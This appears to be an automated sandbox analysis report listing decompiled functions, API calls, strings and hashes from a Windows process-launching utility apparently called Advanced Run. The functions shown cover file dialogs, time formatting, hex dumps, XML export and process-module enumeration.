GetSystemMetrics.USER32 ref: 00402C4E
SetWindowPos.USER32(?,00000000,?,?,?,?,00000204,?,?,?,?,?,?,?,?,0040365B), ref: 00402CA5

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsSystem$Window
String ID:
API String ID: 1155976603-0
Opcode ID: 03bfd9196a1312a0750f0a2641b8d8190b91a017e6f04a5dd0b934da2af22e19
Instruction ID: 7065afd7c6b37d04baa6ac94661e9c3c7a9384fc7fb7d7b8ebf201216021487f
Opcode Fuzzy Hash: 03bfd9196a1312a0750f0a2641b8d8190b91a017e6f04a5dd0b934da2af22e19
Instruction Fuzzy Hash: B9217F72D00219EBEF14DF68CE496AF7B75EF40318F11446AD901BB1C5D2B8AD81CA98

Uniqueness

Uniqueness Score: -1.00%

Function 004036D5, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004036D5(void* __edi, void* __eflags) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char* _v24;
				char _v28;
				char* _v48;
				intOrPtr _v56;
				intOrPtr _v60;
				int _v64;
				int _v72;
				intOrPtr _v76;
				wchar_t* _v80;
				intOrPtr _v84;
				int _v92;
				char* _v96;
				intOrPtr _v104;
				struct tagOFNA _v108;
				void _v634;
				long _v636;
				void _v2682;
				char _v2684;
				void* __ebx;
				char _t37;
				intOrPtr _t38;
				int _t46;
				signed short _t54;

				_v636 = 0;
				memset( &_v634, 0, 0x208);
				_v2684 = 0;
				memset( &_v2682, 0, 0x7fe);
				_t37 =  *((intOrPtr*)(L"cfg")); // 0x660063
				_v12 = _t37;
				_t38 =  *0x40cbf0; // 0x67
				_v8 = _t38;
				_v28 = E00405B81(0x227);
				_v24 = L"*.cfg";
				_v20 = E00405B81(0x228);
				_v16 = L"*.*";
				E00405236( &_v2684,  &_v28);
				_t54 = 0xa;
				_v60 = E00405B81(_t54);
				_v104 =  *((intOrPtr*)(__edi + 0x10));
				_v48 =  &_v12;
				_v96 =  &_v2684;
				_v108 = 0x4c;
				_v92 = 0;
				_v84 = 1;
				_v80 =  &_v636;
				_v76 = 0x104;
				_v72 = 0;
				_v64 = 0;
				_v56 = 0x80806;
				_t46 = GetSaveFileNameW( &_v108);
				if(_t46 != 0) {
					wcscpy( &_v636, _v80);
					return E0040365E(__edi, 1,  &_v636);
				}
				return _t46;
			}

0x004036ef
0x004036f6
0x0040370b
0x00403712
0x00403717
0x0040371c
0x0040371f
0x0040372c
0x00403735
0x00403738
0x00403744
0x00403751
0x00403758
0x00403760
0x00403769
0x0040376c
0x00403778
0x0040377b
0x0040378b
0x00403792
0x00403795
0x00403798
0x0040379b
0x004037a2
0x004037a5
0x004037a8
0x004037af
0x004037b7
0x004037c3
0x00000000
0x004037d4
0x004037dc

APIs

memset.MSVCRT ref: 004036F6
memset.MSVCRT ref: 00403712

Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
Part of subcall function 00405B81: LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
Part of subcall function 00405B81: memcpy.MSVCRT ref: 00405C99

Part of subcall function 00405B81: wcscpy.MSVCRT ref: 00405C02
Part of subcall function 00405B81: wcslen.MSVCRT ref: 00405C20
Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E

Part of subcall function 00405236: memset.MSVCRT ref: 00405257
Part of subcall function 00405236: _snwprintf.MSVCRT ref: 00405285
Part of subcall function 00405236: wcslen.MSVCRT ref: 00405291
Part of subcall function 00405236: memcpy.MSVCRT ref: 004052A9
Part of subcall function 00405236: wcslen.MSVCRT ref: 004052B7
Part of subcall function 00405236: memcpy.MSVCRT ref: 004052CA

GetSaveFileNameW.COMDLG32(?), ref: 004037AF
wcscpy.MSVCRT ref: 004037C3

Strings

cfg, xrefs: 00403717
L, xrefs: 0040378B

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpymemsetwcslen$HandleModulewcscpy$FileLoadNameSaveString_snwprintf
String ID: L$cfg
API String ID: 275899518-3734058911
Opcode ID: 82f9c32c0c79633b068e26f34505a517ae9d13a5a1787d7b2c1c5d310a57e8a8
Instruction ID: 069f946bae6f7cb0c9846f37a0b0d91fba0b14879ba0d1f27e167351657a8a18
Opcode Fuzzy Hash: 82f9c32c0c79633b068e26f34505a517ae9d13a5a1787d7b2c1c5d310a57e8a8
Instruction Fuzzy Hash: 78312AB1D04218AFDB50DFA5D889ADEBBB8FF04314F10416AE508B6280DB746A85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00404ED0, Relevance: 10.6, APIs: 7, Instructions: 63
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404ED0(FILETIME* __eax, wchar_t* _a4) {
				struct _SYSTEMTIME _v20;
				long _v276;
				long _v532;
				FILETIME* _t15;

				_t15 = __eax;
				if(__eax->dwHighDateTime != 0 ||  *__eax != 0) {
					if(FileTimeToSystemTime(_t15,  &_v20) == 0 || _v20 <= 0x3e8) {
						goto L5;
					} else {
						GetDateFormatW(0x400, 1,  &_v20, 0,  &_v276, 0x80);
						GetTimeFormatW(0x400, 0,  &_v20, 0,  &_v532, 0x80);
						wcscpy(_a4,  &_v276);
						wcscat(_a4, " ");
						wcscat(_a4,  &_v532);
					}
				} else {
					L5:
					wcscpy(_a4, 0x40c4e8);
				}
				return _a4;
			}

0x00404ed0
0x00404edf
0x00404ef6
0x00000000
0x00404f00
0x00404f1c
0x00404f31
0x00404f41
0x00404f4e
0x00404f5d
0x00404f66
0x00404f69
0x00404f69
0x00404f71
0x00404f77
0x00404f7d

APIs

FileTimeToSystemTime.KERNEL32(?,?), ref: 00404EEE
GetDateFormatW.KERNEL32(00000400,00000001,000003E8,00000000,?,00000080,?,?,?,?), ref: 00404F1C
GetTimeFormatW.KERNEL32(00000400,00000000,000003E8,00000000,?,00000080,?,?,?,?), ref: 00404F31
wcscpy.MSVCRT ref: 00404F41
wcscat.MSVCRT ref: 00404F4E
wcscat.MSVCRT ref: 00404F5D
wcscpy.MSVCRT ref: 00404F71

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Time$Formatwcscatwcscpy$DateFileSystem
String ID:
API String ID: 1331804452-0
Opcode ID: bcd4d34c10f2eb1284b4297ba1ca8defa1a10ff7f0e8a8f4937edf2a6ab2f069
Instruction ID: 27f756489727a3478797c508db698983d473b6c4fef27ef98cb5a9ae0a7a07e8
Opcode Fuzzy Hash: bcd4d34c10f2eb1284b4297ba1ca8defa1a10ff7f0e8a8f4937edf2a6ab2f069
Instruction Fuzzy Hash: 951160B2840119EBDB11AB94DC85EFE776CFB44304F04457ABA05B6090D774AA858BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404FE0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00404FE0(wchar_t* __edi, intOrPtr _a4, signed int _a8) {
				void _v514;
				long _v516;
				wchar_t* _t34;
				signed int _t35;
				void* _t36;
				void* _t37;

				_t34 = __edi;
				_v516 = _v516 & 0x00000000;
				memset( &_v514, 0, 0x1fc);
				 *__edi =  *__edi & 0x00000000;
				_t37 = _t36 + 0xc;
				_t35 = 0;
				do {
					_push( *(_t35 + _a4) & 0x000000ff);
					_push(L"%2.2X");
					_push(0xff);
					_push( &_v516);
					L0040B1EC();
					_t37 = _t37 + 0x10;
					if(_t35 > 0) {
						wcscat(_t34, " ");
					}
					if(_a8 > 0) {
						asm("cdq");
						if(_t35 % _a8 == 0) {
							wcscat(_t34, L"  ");
						}
					}
					wcscat(_t34,  &_v516);
					_t35 = _t35 + 1;
				} while (_t35 < 0x80);
				return _t34;
			}

0x00404fe0
0x00404fe9
0x00405000
0x00405005
0x00405009
0x0040500c
0x0040500e
0x00405015
0x00405016
0x00405021
0x00405026
0x00405027
0x0040502c
0x00405031
0x00405039
0x0040503f
0x00405044
0x00405048
0x0040504e
0x00405056
0x0040505c
0x0040504e
0x00405065
0x0040506a
0x00405072
0x00405079

APIs

memset.MSVCRT ref: 00405000
_snwprintf.MSVCRT ref: 00405027
wcscat.MSVCRT ref: 00405039
wcscat.MSVCRT ref: 00405056
wcscat.MSVCRT ref: 00405065

Strings

%2.2X, xrefs: 00405016

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscat$_snwprintfmemset
String ID: %2.2X
API String ID: 2521778956-791839006
Opcode ID: 34c89676a934ea4f3d268c8f85442ed9bc59df14bbff203197c18b8f91f69b12
Instruction ID: 93e5f8641594d75a0278127c9762c797554eaad4f41234795e116b90c7bd1a0f
Opcode Fuzzy Hash: 34c89676a934ea4f3d268c8f85442ed9bc59df14bbff203197c18b8f91f69b12
Instruction Fuzzy Hash: FA01B57394072566E72067569C86BBB33ACEB41714F10407BFD14B91C2EB7CDA444ADC

Uniqueness

Uniqueness Score: -1.00%

Function 00407D80, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00407D80(intOrPtr* __ecx, intOrPtr _a4) {
				void _v514;
				char _v516;
				void _v1026;
				char _v1028;
				void* __esi;
				intOrPtr* _t16;
				void* _t19;
				intOrPtr* _t29;
				char* _t31;

				_t29 = __ecx;
				_v516 = 0;
				memset( &_v514, 0, 0x1fc);
				_v1028 = 0;
				memset( &_v1026, 0, 0x1fc);
				_t16 = _t29;
				if( *((intOrPtr*)(_t29 + 0x24)) == 0) {
					_push(L"<?xml version=\"1.0\" encoding=\"ISO-8859-1\" ?>\r\n");
				} else {
					_push(L"<?xml version=\"1.0\" ?>\r\n");
				}
				E00407343(_t16);
				_t19 =  *((intOrPtr*)( *_t29 + 0x24))(_a4);
				_t31 =  &_v516;
				E00407250(_t31, _t19);
				_push(_t31);
				_push(L"<%s>\r\n");
				_push(0xff);
				_push( &_v1028);
				L0040B1EC();
				return E00407343(_t29, _a4,  &_v1028);
			}

0x00407d9c
0x00407d9e
0x00407da5
0x00407db3
0x00407dba
0x00407dc5
0x00407dc7
0x00407dd0
0x00407dc9
0x00407dc9
0x00407dc9
0x00407dd8
0x00407de1
0x00407de5
0x00407deb
0x00407df2
0x00407df3
0x00407dfe
0x00407e03
0x00407e04
0x00407e21

APIs

memset.MSVCRT ref: 00407DA5
memset.MSVCRT ref: 00407DBA
_snwprintf.MSVCRT ref: 00407E04

Strings

<%s>, xrefs: 00407DF3
<?xml version="1.0" ?>, xrefs: 00407DC9
<?xml version="1.0" encoding="ISO-8859-1" ?>, xrefs: 00407DD0

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf
String ID: <%s>$<?xml version="1.0" ?>$<?xml version="1.0" encoding="ISO-8859-1" ?>
API String ID: 3473751417-2880344631
Opcode ID: 9364f374d7518812a9165f05dfc0ba647ea39d808db9dc8e90e0893e61590c4e
Instruction ID: f522b8c77a058770ba0888167d6ec5df55c59d6d485a4440fbbc7c77367e2349
Opcode Fuzzy Hash: 9364f374d7518812a9165f05dfc0ba647ea39d808db9dc8e90e0893e61590c4e
Instruction Fuzzy Hash: E0019BB1E402197AD710A695CC45FBE766CEF44344F0001FBBA08F3191D738AE4586ED

Uniqueness

Uniqueness Score: -1.00%

Function 00403B3C, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00403B3C(intOrPtr _a4) {
				void _v526;
				char _v528;
				void _v2574;
				char _v2576;
				void* __edi;
				intOrPtr _t29;

				_v2576 = 0;
				memset( &_v2574, 0, 0x7fe);
				_v528 = 0;
				memset( &_v526, 0, 0x208);
				E00404AD9( &_v528);
				_push( &_v528);
				_push(L"\"%s\" /EXEFilename \"%%1\"");
				_push(0x3ff);
				_push( &_v2576);
				L0040B1EC();
				_t37 = _a4 + 0xa68;
				E00404923(0x104, _a4 + 0xa68, L"exefile");
				E00404923(0x104, _a4 + 0xc72, L"Advanced Run");
				E00404923(0x3ff, _t37 + 0x414,  &_v2576);
				_t29 = E0040467A(_t37);
				 *((intOrPtr*)(_a4 + 0x167c)) = _t29;
				return _t29;
			}

0x00403b56
0x00403b5d
0x00403b6f
0x00403b76
0x00403b82
0x00403b8d
0x00403b8e
0x00403b99
0x00403b9e
0x00403b9f
0x00403ba7
0x00403bb9
0x00403bce
0x00403be5
0x00403bef
0x00403bf8
0x00403c00

APIs

memset.MSVCRT ref: 00403B5D
memset.MSVCRT ref: 00403B76

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

_snwprintf.MSVCRT ref: 00403B9F

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

Part of subcall function 0040467A: memset.MSVCRT ref: 004046AF
Part of subcall function 0040467A: _snwprintf.MSVCRT ref: 004046CD
Part of subcall function 0040467A: RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,?,?,?,?,?,00020019), ref: 004046E6
Part of subcall function 0040467A: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00020019), ref: 004046FA

Strings

Advanced Run, xrefs: 00403BBE
exefile, xrefs: 00403BAD
"%s" /EXEFilename "%%1", xrefs: 00403B8E

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf$CloseFileModuleNameOpenmemcpywcslen
String ID: "%s" /EXEFilename "%%1"$Advanced Run$exefile
API String ID: 1832587304-479876776
Opcode ID: 0a24b3981c90f53bc0afe707e01056d79404e7683c9323ccd1d0569bed7942f0
Instruction ID: c5548abdd2f98fe5b378efca96f69d72dd5acd8230f4ce7b006819db5738462c
Opcode Fuzzy Hash: 0a24b3981c90f53bc0afe707e01056d79404e7683c9323ccd1d0569bed7942f0
Instruction Fuzzy Hash: 6B11A3B29403186AD720E761CC05ACF776CDF45314F0041B6BA08B71C2D77C5B418B9E

Uniqueness

Uniqueness Score: -1.00%

Function 0040AFBE, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AFBE(void* __esi, void* _a4, wchar_t* _a8, wchar_t* _a12) {
				void* _v8;
				int _v12;
				short _v524;
				char _v1036;
				void* __edi;

				wcscpy( &_v524, L"\\StringFileInfo\\");
				wcscat( &_v524, _a8);
				wcscat( &_v524, "\\");
				wcscat( &_v524, _a12);
				if(VerQueryValueW(_a4,  &_v524,  &_v8,  &_v12) == 0) {
					return 0;
				}
				_t34 =  &_v1036;
				E00404923(0xff,  &_v1036, _v8);
				E004049A2(_t34, __esi);
				return 1;
			}

0x0040afd3
0x0040afe2
0x0040aff3
0x0040b002
0x0040b023
0x00000000
0x0040b047
0x0040b02e
0x0040b034
0x0040b03c
0x00000000

APIs

wcscpy.MSVCRT ref: 0040AFD3
wcscat.MSVCRT ref: 0040AFE2
wcscat.MSVCRT ref: 0040AFF3
wcscat.MSVCRT ref: 0040B002
VerQueryValueW.VERSION(?,?,00000000,?), ref: 0040B01C

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

Part of subcall function 004049A2: lstrcpyW.KERNEL32 ref: 004049B7
Part of subcall function 004049A2: lstrlenW.KERNEL32(?), ref: 004049BE

Strings

\StringFileInfo\, xrefs: 0040AFCD

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscat$QueryValuelstrcpylstrlenmemcpywcscpywcslen
String ID: \StringFileInfo\
API String ID: 393120378-2245444037
Opcode ID: 045a8df20043a551ca88a82222e75e8b313ea16cabd954164b3126fb0df90005
Instruction ID: 46c7c43bb965d9609608e4f6c2ae6b517043b349f439a100f6d085a340de75fe
Opcode Fuzzy Hash: 045a8df20043a551ca88a82222e75e8b313ea16cabd954164b3126fb0df90005
Instruction Fuzzy Hash: CF015EB290020DA6DB11EAA2CC45DDF776DDB44304F0005B6B654F2092EB3CDA969A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405E8D, Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 26COMMON

Download Yara Rule

APIs

_snwprintf.MSVCRT ref: 00405EB2
wcscpy.MSVCRT ref: 00405ED5

Strings

menu_%d, xrefs: 00405E96
strings, xrefs: 00405EC0
general, xrefs: 00405ECB
dialog_%d, xrefs: 00405EA6

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfwcscpy
String ID: dialog_%d$general$menu_%d$strings
API String ID: 999028693-502967061
Opcode ID: b64df2e80323ba4b17253e10f943d6139d2bc5d6bf6da17a7692c82038848a44
Instruction ID: fc2f6d5a95cb840c7437c23e5da9cc5f651b22c54dcbfaa02992beb3cb27aad2
Opcode Fuzzy Hash: b64df2e80323ba4b17253e10f943d6139d2bc5d6bf6da17a7692c82038848a44
Instruction Fuzzy Hash: CDE08C31A94B00B5E96423418DC7F2B2801DE90B14FB0083BF686B05C1E6BDBA0528DF

Uniqueness

Uniqueness Score: -1.00%

Function 004092F0, Relevance: 9.1, APIs: 6, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E004092F0(void* __ecx, void* __eflags, long _a4, void _a8, intOrPtr _a12, long _a16, intOrPtr _a508, intOrPtr _a512, intOrPtr _a540, intOrPtr _a544, char _a552, char _a560, intOrPtr _a572, intOrPtr _a576, intOrPtr _a580, long _a1096, char _a1600, int _a1616, void _a1618, char _a2160) {
				void* _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				unsigned int _v12;
				void* _v16;
				char _v20;
				char _v24;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v44;
				void* __edi;
				void* __esi;
				intOrPtr _t58;
				void* _t59;
				void* _t69;
				void* _t72;
				intOrPtr _t78;
				void _t89;
				signed int _t90;
				int _t98;
				signed int _t105;
				signed int _t106;
				void* _t109;

				_t106 = _t105 & 0xfffffff8;
				E0040B550(0x8874, __ecx);
				_t98 = 0;
				_a8 = 0;
				if(E00404BD3() == 0) {
					L12:
					__eflags =  *0x4101b8 - _t98; // 0x0
					if(__eflags != 0) {
						_t89 = _a4;
						_t58 =  *0x40f83c(8, _t89);
						__eflags = _t58 - 0xffffffff;
						_v8 = _t58;
						if(_t58 != 0xffffffff) {
							_v0 = 1;
							_a560 = 0x428;
							_t59 =  *0x40f834(_t58,  &_a560);
							while(1) {
								__eflags = _t59;
								if(_t59 == 0) {
									goto L18;
								}
								memset( &_a8, _t98, 0x21c);
								_a12 = _a580;
								_a8 = _t89;
								wcscpy( &_a16,  &_a1096);
								_a540 = _a576;
								_t106 = _t106 + 0x14;
								_a544 = _a572;
								_a552 = 0x428;
								_t69 = E00409510(_a8,  &_a8);
								__eflags = _t69;
								if(_t69 != 0) {
									_t59 =  *0x40f830(_v16,  &_a552);
									continue;
								}
								goto L18;
							}
							goto L18;
						}
					}
				} else {
					_t109 =  *0x4101bc - _t98; // 0x0
					if(_t109 == 0) {
						goto L12;
					} else {
						_t72 = OpenProcess(0x410, 0, _a4);
						_v0 = _t72;
						if(_t72 != 0) {
							_push( &_a4);
							_push(0x8000);
							_push( &_a2160);
							_push(_t72);
							if( *0x40f840() != 0) {
								_t6 =  &_v12;
								 *_t6 = _v12 >> 2;
								_v8 = 1;
								_t90 = 0;
								if( *_t6 != 0) {
									while(1) {
										_a1616 = _t98;
										memset( &_a1618, _t98, 0x208);
										memset( &_a8, _t98, 0x21c);
										_t78 =  *((intOrPtr*)(_t106 + 0x898 + _t90 * 4));
										_t106 = _t106 + 0x18;
										_a8 = _a4;
										_a12 = _t78;
										 *0x40f838(_v16, _t78,  &_a1616, 0x104);
										E0040920A( &_v0,  &_a1600);
										_push(0xc);
										_push( &_v20);
										_push(_v4);
										_push(_v32);
										if( *0x40f844() != 0) {
											_a508 = _v32;
											_a512 = _v36;
										}
										if(E00409510(_a8,  &_v24) == 0) {
											goto L18;
										}
										_t90 = _t90 + 1;
										if(_t90 < _v44) {
											_t98 = 0;
											__eflags = 0;
											continue;
										} else {
										}
										goto L18;
									}
								}
							}
							L18:
							CloseHandle(_v16);
						}
					}
				}
				return _a8;
			}

0x004092f3
0x004092fb
0x00409303
0x00409305
0x00409310
0x00409433
0x00409433
0x00409439
0x0040943f
0x00409445
0x0040944b
0x0040944e
0x00409452
0x00409466
0x0040946e
0x00409475
0x004094f7
0x004094f7
0x004094f9
0x00000000
0x00000000
0x00409488
0x00409494
0x004094a5
0x004094a9
0x004094b5
0x004094c3
0x004094c6
0x004094d5
0x004094dc
0x004094e1
0x004094e3
0x004094f1
0x00000000
0x004094f1
0x00000000
0x004094e3
0x00000000
0x004094f7
0x00409452
0x00409316
0x00409316
0x0040931c
0x00000000
0x00409322
0x0040932b
0x00409333
0x00409337
0x00409341
0x00409342
0x0040934e
0x0040934f
0x00409358
0x0040935e
0x0040935e
0x00409363
0x0040936b
0x0040936d
0x00409377
0x00409385
0x0040938d
0x0040939d
0x004093a5
0x004093ac
0x004093b4
0x004093c5
0x004093c9
0x004093da
0x004093df
0x004093e5
0x004093e6
0x004093ea
0x004093f6
0x004093fc
0x00409407
0x00409407
0x0040941d
0x00000000
0x00000000
0x00409423
0x00409428
0x00409375
0x00409375
0x00000000
0x00000000
0x0040942e
0x00000000
0x00409428
0x00409377
0x0040936d
0x004094fb
0x004094ff
0x004094ff
0x00409337
0x0040931c
0x0040950f

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000,?,00000000,00000000,?,00408CE3,00000000,00000000), ref: 0040932B
memset.MSVCRT ref: 0040938D
memset.MSVCRT ref: 0040939D

Part of subcall function 0040920A: wcscpy.MSVCRT ref: 00409233

memset.MSVCRT ref: 00409488
wcscpy.MSVCRT ref: 004094A9
CloseHandle.KERNEL32(?,00408CE3,?,?,?,00408CE3,00000000,00000000), ref: 004094FF

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$wcscpy$CloseHandleOpenProcess
String ID:
API String ID: 3300951397-0
Opcode ID: 35b1b47fb41be2c3e4820f38a09934af673dc0f51eb17e2be69c8f32b4af62fe
Instruction ID: b0ac5d6e05c2becfea0857ee93370de63ec0533c429aeeb167529e34c4b0c205
Opcode Fuzzy Hash: 35b1b47fb41be2c3e4820f38a09934af673dc0f51eb17e2be69c8f32b4af62fe
Instruction Fuzzy Hash: AE512A71108345ABD720DF65CC88A9BB7E8FFC4304F404A3EF989A2291DB75D945CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00402EC8, Relevance: 9.0, APIs: 6, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00402EC8(void* __ebx) {
				struct tagRECT _v20;
				struct tagPAINTSTRUCT _v84;

				GetClientRect( *(__ebx + 0x10),  &_v20);
				_v20.left = _v20.right - GetSystemMetrics(0x15);
				_v20.top = _v20.bottom - GetSystemMetrics(0x14);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				DrawFrameControl(BeginPaint( *(__ebx + 0x10),  &_v84),  &_v20, 3, 8);
				return EndPaint( *(__ebx + 0x10),  &_v84);
			}

0x00402ed7
0x00402eee
0x00402ef8
0x00402f00
0x00402f01
0x00402f05
0x00402f0a
0x00402f1a
0x00402f30

APIs

GetClientRect.USER32 ref: 00402ED7
GetSystemMetrics.USER32 ref: 00402EE5
GetSystemMetrics.USER32 ref: 00402EF1
BeginPaint.USER32(?,?), ref: 00402F0B
DrawFrameControl.USER32 ref: 00402F1A
EndPaint.USER32(?,?), ref: 00402F27

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsPaintSystem$BeginClientControlDrawFrameRect
String ID:
API String ID: 19018683-0
Opcode ID: 8c0e1e97105e41a4185fd691eb38b3eaa50651c9f1af749464abe97b92a3298f
Instruction ID: c8721ad6730a543cd54d50ae751cb56b62cc93be397439d4b1c9778783e315ec
Opcode Fuzzy Hash: 8c0e1e97105e41a4185fd691eb38b3eaa50651c9f1af749464abe97b92a3298f
Instruction Fuzzy Hash: 8C01EC72900218EFDF04DFA4DD859FE7B79FB44301F000569EA11AA195DA71A904CF90

Uniqueness

Uniqueness Score: -1.00%

Function 004079A4, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E004079A4(void* __edi, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				void _v514;
				signed short _v516;
				signed short* _t34;
				signed int _t37;
				void* _t40;
				signed short* _t44;
				void* _t46;

				_t40 = __edi;
				E00407343(__edi, _a4, L"<item>\r\n");
				_t37 = 0;
				if( *((intOrPtr*)(__edi + 0x2c)) > 0) {
					do {
						_v516 = _v516 & 0x00000000;
						memset( &_v514, 0, 0x1fc);
						E0040ADF1( *((intOrPtr*)( *_a8))( *( *((intOrPtr*)(__edi + 0x30)) + _t37 * 4),  *((intOrPtr*)(__edi + 0x60))),  *((intOrPtr*)(__edi + 0x64)));
						_t44 =  &_v516;
						E00407250(_t44,  *((intOrPtr*)( *( *((intOrPtr*)(__edi + 0x30)) + _t37 * 4) * 0x14 +  *((intOrPtr*)(__edi + 0x40)) + 0x10)));
						_t34 = _t44;
						_push(_t34);
						_push( *((intOrPtr*)(__edi + 0x64)));
						_push(_t34);
						_push(L"<%s>%s</%s>\r\n");
						_push(0x2000);
						_push( *((intOrPtr*)(__edi + 0x68)));
						L0040B1EC();
						_t46 = _t46 + 0x24;
						E00407343(__edi, _a4,  *((intOrPtr*)(__edi + 0x68)));
						_t37 = _t37 + 1;
					} while (_t37 <  *((intOrPtr*)(__edi + 0x2c)));
				}
				return E00407343(_t40, _a4, L"</item>\r\n");
			}

0x004079a4
0x004079b8
0x004079bd
0x004079c2
0x004079c5
0x004079c5
0x004079db
0x004079f7
